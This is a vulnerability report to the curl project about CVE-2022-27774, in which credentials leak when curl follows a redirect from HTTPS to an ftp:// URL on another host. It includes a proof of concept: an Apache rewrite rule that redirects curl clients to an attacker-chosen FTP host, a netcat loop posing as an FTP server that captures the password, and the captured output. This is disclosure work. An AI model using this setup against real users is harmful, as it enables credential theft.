6 CVE-2022-27774: Credential leak on redirect

Share:

TIMELINE

nyymi submitted a report to curl. Apr 18th (7 months ago)

Summary:

Curl can be coaxed to leak user credentials to third-party host by issuing HTTP redirect to ftp:// URL.

Steps To Reproduce:

1. Configure for example Apache2 on `firstsite.tld` to perform redirect with mod_rewrite:

Code 101 Bytes Wrap lines Copy Download

```
1  RewriteCond %{HTTP_USER_AGENT} "^curl/"
2  RewriteRule ^/redirectpoc ftp://secondsite.tld:9999 [R=301,L]
```

2. Capture credentials at `secondsite.tld` for example with:

Code 78 Bytes Wrap lines Copy Download

```
1  while true; do echo -e "220 pocftp\n331 plz\n530 bye" | nc -v -l -p 9999; done
```

3. `curl -L --user foo https://firstsite.tld/redirectpoc`
4. The entered password is visible in the fake FTP server:

Code 95 Bytes Wrap lines Copy Download

```
1  Listening on 0.0.0.0 9999
2  Connection received on somehost someport
3  USER foo
4  PASS secretpassword
```

There are several issues here:

1. The credentials are sent to a completely different host than the original host (`firstsite.tld` vs `secondsite.tld`). This is definitely not what the user could expect,

> See also --location-trusted on how to change this.

2. The redirect crosses from secure context (HTTPS) to insecure one (FTP). That is the credentials are unexpectedly sent over insecure channels even when the URL specified is using HTTPS.

I believe the credentials should not be sent in this case unless if `--location-trusted` is used.

It might even be sensible to consider making curl stop sending credentials over downgraded security by default even when `--location-trusted` is used. Maybe there could be some option that could be used to enable such downgrade if the user REALLY wants it.

Impact

Leak of confidential information (user credentials).